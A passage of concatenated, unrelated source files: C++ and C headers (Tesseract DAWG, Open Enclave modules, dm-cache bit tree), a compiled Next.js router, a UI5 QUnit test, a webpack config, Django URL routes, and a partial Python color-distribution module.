vec->push_back(NodeChild(unichar_id_from_edge_rec(edges_[edge]), edge));
}
} while (!last_edge(edge++));
}
/// Returns the next node visited by following the edge
/// indicated by the given EDGE_REF.
NODE_REF next_node(EDGE_REF edge) const {
return next_node_from_edge_rec((edges_[edge]));
}
/// Returns true if the edge indicated by the given EDGE_REF
/// marks the end of a word.
bool end_of_word(EDGE_REF edge_ref) const {
return end_of_word_from_edge_rec((edges_[edge_ref]));
}
/// Returns UNICHAR_ID stored in the edge indicated by the given EDGE_REF.
UNICHAR_ID edge_letter(EDGE_REF edge_ref) const {
return unichar_id_from_edge_rec((edges_[edge_ref]));
}
/// Prints the contents of the node indicated by the given NODE_REF.
/// At most max_num_edges will be printed.
void print_node(NODE_REF node, int max_num_edges) const;
/// Writes the squished/reduced Dawg to a file.
void write_squished_dawg(FILE *file);
/// Opens the file with the given filename and writes the
/// squished/reduced Dawg to the file.
void write_squished_dawg(const char *filename) {
FILE *file = fopen(filename, "wb");
if (file == NULL) {
tprintf("Error opening %s\n", filename);
exit(1);
}
this->write_squished_dawg(file);
fclose(file);
}
private:
/// Sets the next node link for this edge.
inline void set_next_node(EDGE_REF edge_ref, EDGE_REF value) {
set_next_node_in_edge_rec(&(edges_[edge_ref]), value);
}
/// Sets the edge to be empty.
inline void set_empty_edge(EDGE_REF edge_ref) {
(edges_[edge_ref] = next_node_mask_);
}
/// Goes through all the edges and clears each one out.
inline void clear_all_edges() {
for (int edge = 0; edge < num_edges_; edge++) set_empty_edge(edge);
}
/// Clears the last flag of this edge.
inline void clear_marker_flag(EDGE_REF edge_ref) {
(edges_[edge_ref] &= ~(MARKER_FLAG << flag_start_bit_));
}
/// Returns true if this edge is in the forward direction.
inline bool forward_edge(EDGE_REF edge_ref) const {
return (edge_occupied(edge_ref) &&
(FORWARD_EDGE == direction_from_edge_rec(edges_[edge_ref])));
}
/// Returns true if this edge is in the backward direction.
inline bool backward_edge(EDGE_REF edge_ref) const {
return (edge_occupied(edge_ref) &&
(BACKWARD_EDGE == direction_from_edge_rec(edges_[edge_ref])));
}
/// Returns true if the edge spot in this location is occupied.
inline bool edge_occupied(EDGE_REF edge_ref) const {
return (edges_[edge_ref] != next_node_mask_);
}
/// Returns true if this edge is the last edge in a sequence.
inline bool last_edge(EDGE_REF edge_ref) const {
return (edges_[edge_ref] & (MARKER_FLAG << flag_start_bit_)) != 0;
}
/// Counts and returns the number of forward edges in this node.
inT32 num_forward_edges(NODE_REF node) const;
/// Reads SquishedDawg from a file.
void read_squished_dawg(FILE *file, DawgType type, const STRING &lang,
PermuterType perm, int debug_level);
/// Prints the contents of an edge indicated by the given EDGE_REF.
void print_edge(EDGE_REF edge) const;
/// Prints the contents of the SquishedDawg.
void print_all(const char* msg) {
tprintf("\n__________________________\n%s\n", msg);
for (int i = 0; i < num_edges_; ++i) print_edge(i);
tprintf("__________________________\n");
}
/// Constructs a mapping from the memory node indices to disk node indices.
NODE_MAP build_node_map(inT32 *num_nodes) const;
// Member variables.
EDGE_ARRAY edges_;
int num_edges_;
int num_forward_edges_in_node0;
};
} // namespace tesseract
#endif // DICT_DAWG_H_
|
"use strict";
var _interopRequireDefault = require("@babel/runtime-corejs2/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _slicedToArray2 = _interopRequireDefault(require("@babel/runtime-corejs2/helpers/slicedToArray"));
var _typeof2 = _interopRequireDefault(require("@babel/runtime-corejs2/helpers/typeof"));
var _regenerator = _interopRequireDefault(require("@babel/runtime-corejs2/regenerator"));
var _asyncToGenerator2 = _interopRequireDefault(require("@babel/runtime-corejs2/helpers/asyncToGenerator"));
var _objectSpread2 = _interopRequireDefault(require("@babel/runtime-corejs2/helpers/objectSpread"));
var _set = _interopRequireDefault(require("@babel/runtime-corejs2/core-js/set"));
var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime-corejs2/helpers/classCallCheck"));
var _createClass2 = _interopRequireDefault(require("@babel/runtime-corejs2/helpers/createClass"));
var _defineProperty2 = _interopRequireDefault(require("@babel/runtime-corejs2/helpers/defineProperty"));
var _url2 = require("url");
var _EventEmitter = _interopRequireDefault(require("../EventEmitter"));
var _shallowEquals = _interopRequireDefault(require("../shallow-equals"));
var _pQueue = _interopRequireDefault(require("../p-queue"));
var _utils = require("../utils");
var _ = require("./");
/* global __NEXT_DATA__ */
var historyUnavailableWarning = (0, _utils.execOnce)(function () {
(0, _utils.warn)("Warning: window.history is not available.");
});
var historyMethodWarning = (0, _utils.execOnce)(function (method) {
(0, _utils.warn)("Warning: window.history.".concat(method, " is not available"));
});
var Router =
/*#__PURE__*/
function () {
function Router(_pathname, _query, _as2) {
var _this = this;
var _ref = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {},
initialProps = _ref.initialProps,
pageLoader = _ref.pageLoader,
App = _ref.App,
Component = _ref.Component,
ErrorComponent = _ref.ErrorComponent,
err = _ref.err;
(0, _classCallCheck2.default)(this, Router);
(0, _defineProperty2.default)(this, "onPopState", function (e) {
if (!e.state) {
// We get state as undefined for two reasons.
// 1. With older safari (< 8) and older chrome (< 34)
// 2. When the URL changed with #
//
// In the both cases, we don't need to proceed and change the route.
// (as it's already changed)
// But we can simply replace the state with the new changes.
// Actually, for (1) we don't need to nothing. But it's hard to detect that event.
// So, doing the following for (1) does no harm.
var pathname = _this.pathname,
query = _this.query;
_this.changeState('replaceState', (0, _url2.format)({
pathname: pathname,
query: query
}), (0, _utils.getURL)());
return;
} // If the downstream application returns falsy, return.
// They will then be responsible for handling the event.
if (!_this._beforePopState(e.state)) {
return;
}
var _e$state = e.state,
url = _e$state.url,
as = _e$state.as,
options = _e$state.options;
if (process.env.NODE_ENV === 'development') {
if (typeof url === 'undefined' || typeof as === 'undefined') {
console.warn('`popstate` event triggered but `event.state` did not have `url` or `as` https://err.sh/zeit/next.js/popstate-state-empty');
}
}
_this.replace(url, as, options);
});
// represents the current component key
this.route = toRoute(_pathname); // set up the component cache (by route keys)
this.components = {}; // We should not keep the cache, if there's an error
// Otherwise, this cause issues when when going back and
// come again to the errored page.
if (Component !== ErrorComponent) {
this.components[this.route] = {
Component: Component,
props: initialProps,
err: err
};
}
this.components['/_app'] = {
Component: App // Backwards compat for Router.router.events
// TODO: Should be remove the following major version as it was never documented
};
this.events = Router.events;
this.pageLoader = pageLoader;
this.prefetchQueue = new _pQueue.default({
concurrency: 2
});
this.ErrorComponent = ErrorComponent;
this.pathname = _pathname;
this.query = _query;
this.asPath = _as2;
this.subscriptions = new _set.default();
this.componentLoadCancel = null;
this._beforePopState = function () {
return true;
};
if (typeof window !== 'undefined') {
// in order for `e.state` to work on the `onpopstate` event
// we have to register the initial route upon initialization
this.changeState('replaceState', (0, _url2.format)({
pathname: _pathname,
query: _query
}), (0, _utils.getURL)());
window.addEventListener('popstate', this.onPopState);
}
}
(0, _createClass2.default)(Router, [{
key: "update",
value: function update(route, Component) {
var data = this.components[route];
if (!data) {
throw new Error("Cannot update unavailable route: ".concat(route));
}
var newData = (0, _objectSpread2.default)({}, data, {
Component: Component
});
this.components[route] = newData; // pages/_app.js updated
if (route === '/_app') {
this.notify(this.components[this.route]);
return;
}
if (route === this.route) {
this.notify(newData);
}
}
}, {
key: "reload",
value: function () {
var _reload = (0, _asyncToGenerator2.default)(
/*#__PURE__*/
_regenerator.default.mark(function _callee(route) {
var pathname, query, url, as, routeInfo, error;
return _regenerator.default.wrap(function _callee$(_context) {
while (1) {
switch (_context.prev = _context.next) {
case 0:
delete this.components[route];
this.pageLoader.clearCache(route);
if (!(route !== this.route)) {
_context.next = 4;
break;
}
return _context.abrupt("return");
case 4:
pathname = this.pathname, query = this.query;
url = window.location.href; // This makes sure we only use pathname + query + hash, to mirror `asPath` coming from the server.
as = window.location.pathname + window.location.search + window.location.hash;
Router.events.emit('routeChangeStart', url);
_context.next = 10;
return this.getRouteInfo(route, pathname, query, as);
case 10:
routeInfo = _context.sent;
error = routeInfo.error;
if (!(error && error.cancelled)) {
_context.next = 14;
break;
}
return _context.abrupt("return");
case 14:
this.notify(routeInfo);
if (!error) {
_context.next = 18;
break;
}
Router.events.emit('routeChangeError', error, url);
throw error;
case 18:
Router.events.emit('routeChangeComplete', url);
case 19:
case "end":
return _context.stop();
}
}
}, _callee, this);
}));
return function reload(_x) {
return _reload.apply(this, arguments);
};
}()
}, {
key: "back",
value: function back() {
window.history.back();
}
}, {
key: "push",
value: function push(url) {
var as = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : url;
var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
return this.change('pushState', url, as, options);
}
}, {
key: "replace",
value: function replace(url) {
var as = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : url;
var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
return this.change('replaceState', url, as, options);
}
}, {
key: "change",
value: function () {
var _change = (0, _asyncToGenerator2.default)(
/*#__PURE__*/
_regenerator.default.mark(function _callee2(method, _url, _as, options) {
var url, as, _parse, asPathname, asQuery, _parse2, pathname, query, route, _options$shallow, shallow, routeInfo, _routeInfo, error, hash;
return _regenerator.default.wrap(function _callee2$(_context2) {
while (1) {
switch (_context2.prev = _context2.next) {
case 0:
// If url and as provided as an object representation,
// we'll format them into the string version here.
url = (0, _typeof2.default)(_url) === 'object' ? (0, _url2.format)(_url) : _url;
as = (0, _typeof2.default)(_as) === 'object' ? (0, _url2.format)(_as) : _as; // Add the ending slash to the paths. So, we can serve the
// "<page>/index.html" directly for the SSR page.
if (__NEXT_DATA__.nextExport) {
as = (0, _._rewriteUrlForNextExport)(as);
}
this.abortComponentLoad(as); // If the url change is only related to a hash change
// We should not proceed. We should only change the state.
if (!this.onlyAHashChange(as)) {
_context2.next = 10;
break;
}
Router.events.emit('hashChangeStart', as);
this.changeState(method, url, as);
this.scrollToHash(as);
Router.events.emit('hashChangeComplete', as);
return _context2.abrupt("return", true);
case 10:
_parse = (0, _url2.parse)(as, true), asPathname = _parse.pathname, asQuery = _parse.query;
_parse2 = (0, _url2.parse)(url, true), pathname = _parse2.pathname, query = _parse2.query; // If asked to change the current URL we should reload the current page
// (not location.reload() but reload getInitialProps and other Next.js stuffs)
// We also need to set the method = replaceState always
// as this should not go into the history (That's how browsers work)
if (!this.urlIsNew(asPathname, asQuery)) {
method = 'replaceState';
}
route = toRoute(pathname);
_options$shallow = options.shallow, shallow = _options$shallow === void 0 ? false : _options$shallow;
routeInfo = null;
Router.events.emit('routeChangeStart', as); // If shallow === false and other conditions met, we reuse the
// existing routeInfo for this route.
// Because of this, getInitialProps would not run.
if (!(shallow && this.isShallowRoutingPossible(route))) {
_context2.next = 21;
break;
}
routeInfo = this.components[route];
_context2.next = 24;
break;
case 21:
_context2.next = 23;
return this.getRouteInfo(route, pathname, query, as);
case 23:
routeInfo = _context2.sent;
case 24:
_routeInfo = routeInfo, error = _routeInfo.error;
if (!(error && error.cancelled)) {
_context2.next = 27;
break;
}
return _context2.abrupt("return", false);
case 27:
Router.events.emit('beforeHistoryChange', as);
this.changeState(method, url, as, options);
hash = window.location.hash.substring(1);
this.set(route, pathname, query, as, (0, _objectSpread2.default)({}, routeInfo, {
hash: hash
}));
if (!error) {
_context2.next = 34;
break;
}
Router.events.emit('routeChangeError', error, as);
throw error;
case 34:
Router.events.emit('routeChangeComplete', as);
return _context2.abrupt("return", true);
case 36:
case "end":
return _context2.stop();
}
}
}, _callee2, this);
}));
return function change(_x2, _x3, _x4, _x5) {
return _change.apply(this, arguments);
};
}()
}, {
key: "changeState",
value: function changeState(method, url, as) {
var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
if (typeof window.history === 'undefined') {
historyUnavailableWarning();
return;
}
if (typeof window.history[method] === 'undefined') {
historyMethodWarning(method);
return;
}
if (method !== 'pushState' || (0, _utils.getURL)() !== as) {
window.history[method]({
url: url,
as: as,
options: options
}, null, as);
}
}
}, {
key: "getRouteInfo",
value: function () {
var _getRouteInfo = (0, _asyncToGenerator2.default)(
/*#__PURE__*/
_regenerator.default.mark(function _callee3(route, pathname, query, as) {
var routeInfo, _routeInfo2, Component, ctx, _Component, _ctx;
return _regenerator.default.wrap(function _callee3$(_context3) {
while (1) {
switch (_context3.prev = _context3.next) {
case 0:
routeInfo = null;
_context3.prev = 1;
routeInfo = this.components[route];
if (routeInfo) {
_context3.next = 8;
break;
}
_context3.next = 6;
return this.fetchComponent(route, as);
case 6:
_context3.t0 = _context3.sent;
routeInfo = {
Component: _context3.t0
};
case 8:
_routeInfo2 = routeInfo, Component = _routeInfo2.Component;
if (!(typeof Component !== 'function')) {
_context3.next = 11;
break;
}
throw new Error("The default export is not a React Component in page: \"".concat(pathname, "\""));
case 11:
ctx = {
pathname: pathname,
query: query,
asPath: as
};
_context3.next = 14;
return this.getInitialProps(Component, ctx);
case 14:
routeInfo.props = _context3.sent;
this.components[route] = routeInfo;
_context3.next = 40;
break;
case 18:
_context3.prev = 18;
_context3.t1 = _context3["catch"](1);
if (!(_context3.t1.code === 'PAGE_LOAD_ERROR')) {
_context3.next = 24;
break;
}
// If we can't load the page it could be one of following reasons
// 1. Page doesn't exists
// 2. Page does exist in a different zone
// 3. Internal error while loading the page
// So, doing a hard reload is the proper way to deal with this.
window.location.href = as; // Changing the URL doesn't block executing the current code path.
// So, we need to mark it as a cancelled error and stop the routing logic.
_context3.t1.cancelled = true;
return _context3.abrupt("return", {
error: _context3.t1
});
case 24:
if (!_context3.t1.cancelled) {
_context3.next = 26;
break;
}
return _context3.abrupt("return", {
error: _context3.t1
});
case 26:
_Component = this.ErrorComponent;
routeInfo = {
Component: _Component,
err: _context3.t1
};
_ctx = {
err: _context3.t1,
pathname: pathname,
query: query
};
_context3.prev = 29;
_context3.next = 32;
return this.getInitialProps(_Component, _ctx);
case 32:
routeInfo.props = _context3.sent;
_context3.next = 39;
break;
case 35:
_context3.prev = 35;
_context3.t2 = _context3["catch"](29);
console.error('Error in error page `getInitialProps`: ', _context3.t2);
routeInfo.props = {};
case 39:
routeInfo.error = _context3.t1;
case 40:
return _context3.abrupt("return", routeInfo);
case 41:
case "end":
return _context3.stop();
}
}
}, _callee3, this, [[1, 18], [29, 35]]);
}));
return function getRouteInfo(_x6, _x7, _x8, _x9) {
return _getRouteInfo.apply(this, arguments);
};
}()
}, {
key: "set",
value: function set(route, pathname, query, as, data) {
this.route = route;
this.pathname = pathname;
this.query = query;
this.asPath = as;
this.notify(data);
}
}, {
key: "beforePopState",
value: function beforePopState(cb) {
this._beforePopState = cb;
}
}, {
key: "onlyAHashChange",
value: function onlyAHashChange(as) {
if (!this.asPath) return false;
var _this$asPath$split = this.asPath.split('#'),
_this$asPath$split2 = (0, _slicedToArray2.default)(_this$asPath$split, 2),
oldUrlNoHash = _this$asPath$split2[0],
oldHash = _this$asPath$split2[1];
var _as$split = as.split('#'),
_as$split2 = (0, _slicedToArray2.default)(_as$split, 2),
newUrlNoHash = _as$split2[0],
newHash = _as$split2[1]; // Makes sure we scroll to the provided hash if the url/hash are the same
if (newHash && oldUrlNoHash === newUrlNoHash && oldHash === newHash) {
return true;
} // If the urls are change, there's more than a hash change
if (oldUrlNoHash !== newUrlNoHash) {
return false;
} // If the hash has changed, then it's a hash only change.
// This check is necessary to handle both the enter and
// leave hash === '' cases. The identity case falls through
// and is treated as a next reload.
return oldHash !== newHash;
}
}, {
key: "scrollToHash",
value: function scrollToHash(as) {
var _as$split3 = as.split('#'),
_as$split4 = (0, _slicedToArray2.default)(_as$split3, 2),
hash = _as$split4[1]; // Scroll to top if the hash is just `#` with no value
if (hash === '') {
window.scrollTo(0, 0);
return;
} // First we check if the element by id is found
var idEl = document.getElementById(hash);
if (idEl) {
idEl.scrollIntoView();
return;
} // If there's no element with the id, we check the `name` property
// To mirror browsers
var nameEl = document.getElementsByName(hash)[0];
if (nameEl) {
nameEl.scrollIntoView();
}
}
}, {
key: "urlIsNew",
value: function urlIsNew(pathname, query) {
return this.pathname !== pathname || !(0, _shallowEquals.default)(query, this.query);
}
}, {
key: "isShallowRoutingPossible",
value: function isShallowRoutingPossible(route) {
return (// If there's cached routeInfo for the route.
Boolean(this.components[route]) && // If the route is already rendered on the screen.
this.route === route
);
}
}, {
key: "prefetch",
value: function () {
var _prefetch = (0, _asyncToGenerator2.default)(
/*#__PURE__*/
_regenerator.default.mark(function _callee4(url) {
var _this2 = this;
var _parse3, pathname, route;
return _regenerator.default.wrap(function _callee4$(_context4) {
while (1) {
switch (_context4.prev = _context4.next) {
case 0:
if (!(process.env.NODE_ENV === 'development')) {
_context4.next = 2;
break;
}
return _context4.abrupt("return");
case 2:
_parse3 = (0, _url2.parse)(url), pathname = _parse3.pathname;
route = toRoute(pathname);
return _context4.abrupt("return", this.prefetchQueue.add(function () {
return _this2.fetchRoute(route);
}));
case 5:
case "end":
return _context4.stop();
}
}
}, _callee4, this);
}));
return function prefetch(_x10) {
return _prefetch.apply(this, arguments);
};
}()
}, {
key: "fetchComponent",
value: function () {
var _fetchComponent = (0, _asyncToGenerator2.default)(
/*#__PURE__*/
_regenerator.default.mark(function _callee5(route, as) {
var cancelled, cancel, Component, error;
return _regenerator.default.wrap(function _callee5$(_context5) {
while (1) {
switch (_context5.prev = _context5.next) {
case 0:
cancelled = false;
cancel = this.componentLoadCancel = function () {
cancelled = true;
};
_context5.next = 4;
return this.fetchRoute(route);
case 4:
Component = _context5.sent;
if (!cancelled) {
_context5.next = 9;
break;
}
error = new Error("Abort fetching component for route: \"".concat(route, "\""));
error.cancelled = true;
throw error;
case 9:
if (cancel === this.componentLoadCancel) {
this.componentLoadCancel = null;
}
return _context5.abrupt("return", Component);
case 11:
case "end":
return _context5.stop();
}
}
}, _callee5, this);
}));
return function fetchComponent(_x11, _x12) {
return _fetchComponent.apply(this, arguments);
};
}()
}, {
key: "getInitialProps",
value: function () {
var _getInitialProps = (0, _asyncToGenerator2.default)(
/*#__PURE__*/
_regenerator.default.mark(function _callee6(Component, ctx) {
var cancelled, cancel, App, props, err;
return _regenerator.default.wrap(function _callee6$(_context6) {
while (1) {
switch (_context6.prev = _context6.next) {
case 0:
cancelled = false;
cancel = function cancel() {
cancelled = true;
};
this.componentLoadCancel = cancel;
App = this.components['/_app'].Component;
_context6.next = 6;
return (0, _utils.loadGetInitialProps)(App, {
Component: Component,
router: this,
ctx: ctx
});
case 6:
props = _context6.sent;
if (cancel === this.componentLoadCancel) {
this.componentLoadCancel = null;
}
if (!cancelled) {
_context6.next = 12;
break;
}
err = new Error('Loading initial props cancelled');
err.cancelled = true;
throw err;
case 12:
return _context6.abrupt("return", props);
case 13:
case "end":
return _context6.stop();
}
}
}, _callee6, this);
}));
return function getInitialProps(_x13, _x14) {
return _getInitialProps.apply(this, arguments);
};
}()
}, {
key: "fetchRoute",
value: function () {
var _fetchRoute = (0, _asyncToGenerator2.default)(
/*#__PURE__*/
_regenerator.default.mark(function _callee7(route) {
return _regenerator.default.wrap(function _callee7$(_context7) {
while (1) {
switch (_context7.prev = _context7.next) {
case 0:
return _context7.abrupt("return", this.pageLoader.loadPage(route));
case 1:
case "end":
return _context7.stop();
}
}
}, _callee7, this);
}));
return function fetchRoute(_x15) {
return _fetchRoute.apply(this, arguments);
};
}()
}, {
key: "abortComponentLoad",
value: function abortComponentLoad(as) {
if (this.componentLoadCancel) {
Router.events.emit('routeChangeError', new Error('Route Cancelled'), as);
this.componentLoadCancel();
this.componentLoadCancel = null;
}
}
}, {
key: "notify",
value: function notify(data) {
var App = this.components['/_app'].Component;
this.subscriptions.forEach(function (fn) {
return fn((0, _objectSpread2.default)({}, data, {
App: App
}));
});
}
}, {
key: "subscribe",
value: function subscribe(fn) {
var _this3 = this;
this.subscriptions.add(fn);
return function () {
return _this3.subscriptions.delete(fn);
};
}
}]);
return Router;
}();
exports.default = Router;
(0, _defineProperty2.default)(Router, "events", new _EventEmitter.default());
function toRoute(path) {
return path.replace(/\/$/, '') || '/';
}
|
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#ifndef _OE_BITS_MODULE_H
#define _OE_BITS_MODULE_H
/*
**==============================================================================
**
** This file defines functions for loading internal modules that are part of
** the Open Enclave core.
**
**==============================================================================
*/
#include <openenclave/bits/defs.h>
#include <openenclave/bits/result.h>
#include <openenclave/bits/types.h>
OE_EXTERNC_BEGIN
/** Load the host file system module. */
oe_result_t oe_load_module_host_file_system(void);
/** Load the host socket interface module. */
oe_result_t oe_load_module_host_socket_interface(void);
/** Load the Intel protected file system module. */
oe_result_t oe_load_module_sgx_file_system(void);
/** Load the host resolver module (getaddrinfo, getnameinfo). */
oe_result_t oe_load_module_host_resolver(void);
/** Load the event polling module (epoll, poll, and select). */
oe_result_t oe_load_module_host_epoll(void);
OE_EXTERNC_END
#endif /* _OE_BITS_MODULE_H */
|
#ifndef DM_CACHE_ABT_H
#define DM_CACHE_ABT_H
#include <linux/spinlock.h>
#include <linux/workqueue.h>
#include "dm-cache-hashmap.h"
#include "dm-cache-metadata.h"
static const uint64_t ABT_LEAF_CLEAN = 0;
static const uint64_t ABT_LEAF_DIRTY = 1;
struct complete_bit_tree {
bool *bitset;
int degree;
int size;
int level_num;
int *metadata_writes;
spinlock_t lock;
};
struct complete_bit_tree* cbt_create(int degree, int nr_blocks);
struct adaptive_bit_tree {
struct complete_bit_tree* cbt;
int degree;
int size;
int total_writes;
int total_metadata_writes;
int sla;
struct hashmap leaves;
struct dm_cache_metadata *cmd;
struct delayed_work periodic_adjust_work;
};
struct adaptive_bit_tree* abt_create(int degree, int nr_blocks);
void abt_set_dirty(struct adaptive_bit_tree* abt, int block_id);
void abt_set_clean(struct adaptive_bit_tree* abt, int block_id);
void abt_destroy(struct adaptive_bit_tree* abt);
int get_idx_from_block_id(int degree, int block_id, int level_num);
int get_parent_idx(int degree, int idx);
#endif
|
/* global QUnit */
sap.ui.define([
"sap/ui/integration/designtime/baseEditor/BaseEditor",
"sap/base/i18n/ResourceBundle",
"sap/ui/model/resource/ResourceModel",
"qunit/designtime/EditorQunitUtils",
"sap/ui/core/Core"
], function (
BaseEditor,
ResourceBundle,
ResourceModel,
EditorQunitUtils,
oCore
) {
"use strict";
QUnit.module("Boolean Editor: Given an editor config", {
before: function () {
this.oPropertyConfig = {
tags: ["content"],
label: "Test Boolean",
type: "boolean",
defaultValue: false,
path: "content"
};
},
beforeEach: function () {
var mConfig = {
context: "/",
properties: {
sampleBoolean: this.oPropertyConfig
},
propertyEditors: {
"boolean": "sap/ui/integration/designtime/baseEditor/propertyEditor/booleanEditor/BooleanEditor"
}
};
var mJson = {
content: 3.14
};
this.oBaseEditor = new BaseEditor({
config: mConfig,
json: mJson
});
this.oBaseEditor.placeAt("qunit-fixture");
return this.oBaseEditor.getPropertyEditorsByName("sampleBoolean").then(function (aPropertyEditor) {
this.oBooleanEditor = aPropertyEditor[0];
this.oBooleanEditor.setValue(true);
oCore.applyChanges();
this.oBooleanEditorElement = this.oBooleanEditor.getContent();
}.bind(this));
},
afterEach: function () {
this.oBaseEditor.destroy();
}
}, function () {
QUnit.test("When a BooleanEditor is created", function (assert) {
assert.ok(this.oBooleanEditor.getDomRef() instanceof HTMLElement, "Then it is rendered correctly (1/3)");
assert.ok(this.oBooleanEditor.getDomRef() && this.oBooleanEditor.getDomRef().offsetHeight > 0, "Then it is rendered correctly (2/3)");
assert.ok(this.oBooleanEditor.getDomRef() && this.oBooleanEditor.getDomRef().offsetWidth > 0, "Then it is rendered correctly (3/3)");
});
QUnit.test("When a value is set", function (assert) {
assert.strictEqual(this.oBooleanEditorElement.getSelectedItem().getKey(), "true", "Then the editor has the correct value");
});
QUnit.test("When a value is changed in the editor", function (assert) {
this.oBooleanEditor.setValue(false);
assert.strictEqual(this.oBooleanEditorElement.getSelectedItem().getKey(), "false", "Then the editor value is updated");
});
QUnit.test("When a value is changed in the internal field", function (assert) {
var fnDone = assert.async();
// Load i18n for labels
ResourceBundle.create({
url: sap.ui.require.toUrl("sap/ui/integration/designtime/baseEditor/i18n/i18n.properties"),
async: true
}).then(function (oI18nBundle) {
var oI18nModel = new ResourceModel({
bundle: oI18nBundle
});
oI18nModel.setDefaultBindingMode("OneWay");
this.oBooleanEditor.setModel(oI18nModel, "i18n");
this.oBooleanEditor.attachValueChange(function (oEvent) {
assert.strictEqual(oEvent.getParameter("value"), false, "Then it is updated correctly");
fnDone();
});
EditorQunitUtils.selectComboBoxValue(this.oBooleanEditorElement, "false");
}.bind(this));
});
QUnit.test("When a binding path is provided in the input field", function (assert) {
var fnDone = assert.async();
this.oBooleanEditor.attachValueChange(function (oEvent) {
assert.strictEqual(oEvent.getParameter("value"), "{someBindingPath}", "Then the value is updated correctly");
fnDone();
});
EditorQunitUtils.setInputValueAndConfirm(this.oBooleanEditorElement, "{someBindingPath}");
});
QUnit.test("When a binding path is provided as the editor value", function (assert) {
this.oBooleanEditor.setValue("{= ${url}}");
assert.strictEqual(this.oBooleanEditorElement.$("inner").val(), "{= ${url}}");
});
QUnit.test("When an invalid input is provided", function (assert) {
// Load the i18n model for the value state text on error
return ResourceBundle.create({
url: sap.ui.require.toUrl("sap/ui/integration/designtime/baseEditor/i18n/i18n.properties"),
async: true
}).then(function (oI18nBundle) {
var oI18nModel = new ResourceModel({
bundle: oI18nBundle
});
oI18nModel.setDefaultBindingMode("OneWay");
this.oBooleanEditor.setModel(oI18nModel, "i18n");
// Test
EditorQunitUtils.setInputValueAndConfirm(this.oBooleanEditorElement, "abc");
assert.strictEqual(this.oBooleanEditorElement.getValueState(), "Error", "Then the error is displayed");
assert.strictEqual(this.oBooleanEditor.getValue(), true, "Then the editor value is not updated");
}.bind(this));
});
});
QUnit.done(function () {
document.getElementById("qunit-fixture").style.display = "none";
});
});
|
const path = require("path");
const sassLoader = require.resolve("../../src/cjs");
module.exports = {
entry: [
path.resolve(__dirname, "../scss/imports.scss"),
path.resolve(__dirname, "../scss/import-include-paths.scss"),
],
output: {
path: path.resolve(__dirname, "../outputs/watch"),
filename: "bundle.watch.js",
},
watch: true,
module: {
rules: [
{
test: /\.scss$/,
use: [
{
loader: "style-loader",
},
{
loader: "css-loader",
},
{
loader: sassLoader,
options: {
includePaths: [path.resolve(__dirname, "../scss/includePath")],
},
},
],
},
],
},
};
|
"""biochallenge API URL Configuration
"""
from django.urls import include, path
from django.conf import settings
from django.contrib.auth.decorators import login_required
from challenge import views
urlpatterns = [
path('', views.ChallengeListView.as_view(), name='challenges'),
path('view/<int:pk>',
views.ChallengeDetailView.as_view(), name='challenge_view'),
path('submissions', login_required(
views.SubmissionListView.as_view()), name='submissions'),
path('submit/<int:release_pk>', login_required(
views.SubmissionCreateView.as_view()), name='challenge_submit'),
]
|
#
# ColorDist.py -- Color Distribution algorithms
#
# This is open-source software licensed under a BSD license.
# Please see the file LICENSE.txt for details.
#
"""
These algorithms are modeled after the ones described for ds9 here:
http://ds9.si.edu/doc/ref/how.html
"""
import math
import numpy
class ColorDistError(Exception):
pass
class ColorDistBase(object):
def __init__(self, hashsize, colorlen=None):
super(ColorDistBase, self).__init__()
self.hashsize = hashsize
if colorlen is None:
colorlen = 256
self.colorlen = colorlen
self.maxhashsize = 1024 * 1024
# this actually holds the hash array
self.hash = None
self.calc_hash()
def hash_array(self, idx):
# NOTE: data could be assumed to be in the range 0..hashsize-1
# at this point but clip as a precaution
idx = idx.clip(0, self.hashsize - 1)
arr = self.hash[idx]
return arr
def get_hash_size(self):
return self.hashsize
def set_hash_size(self, size):
assert (size >= self.colorlen) and (size <= self.maxhashsize), \
ColorDistError("Bad hash size!")
self.hashsize = size
self.calc_hash()
def check_hash(self):
hashlen = len(self.hash)
assert hashlen == self.hashsize, \
ColorDistError("Computed hash table size (%d) != specified size "
"(%d)" % (hashlen, self.hashsize))
def calc_hash(self):
raise ColorDistError("Subclass needs to override this method")
def get_dist_pct(self, pct):
raise ColorDistError("Subclass needs to override this method")
class LinearDist(ColorDistBase):
"""
y = x
where x in (0..1)
"""
def __init__(self, hashsize, colorlen=None):
super(LinearDist, self).__init__(hashsize, colorlen=colorlen)
def calc_hash(self):
base = numpy.arange(0.0, float(self.hashsize), 1.0) / self.hashsize
# normalize to color range
l = base * (self.colorlen - 1)
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
def get_dist_pct(self, pct):
val = min(max(float(pct), 0.0), 1.0)
return val
def __str__(self):
return 'linear'
class LogDist(ColorDistBase):
"""
y = log(a*x + 1) / log(a)
where x in (0..1)
"""
def __init__(self, hashsize, colorlen=None, exp=1000.0):
self.exp = exp
super(LogDist, self).__init__(hashsize, colorlen=colorlen)
def calc_hash(self):
base = numpy.arange(0.0, float(self.hashsize), 1.0) / self.hashsize
base = numpy.log(self.exp * base + 1.0) / numpy.log(self.exp)
base = base.clip(0.0, 1.0)
# normalize to color range
l = base * (self.colorlen - 1)
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
def get_dist_pct(self, pct):
val_inv = (math.exp(pct * math.log(self.exp)) - 1) / self.exp
val = min(max(float(val_inv), 0.0), 1.0)
return val
def __str__(self):
return 'log'
class PowerDist(ColorDistBase):
"""
y = ((a ** x) - 1) / a
where x in (0..1)
"""
def __init__(self, hashsize, colorlen=None, exp=1000.0):
self.exp = exp
super(PowerDist, self).__init__(hashsize, colorlen=colorlen)
def calc_hash(self):
base = numpy.arange(0.0, float(self.hashsize), 1.0) / self.hashsize
base = (self.exp ** base - 1.0) / self.exp
base = base.clip(0.0, 1.0)
# normalize to color range
l = base * (self.colorlen - 1)
self.hash = l.astype(numpy.uint, copy=False)
self.check_hash()
def get_dist_pct(self, pct):
val_inv = math.log(self.exp * pct + 1, self.exp)
val = min(max(float(val_inv), 0.0), 1.0)
return val
def __str__(self):
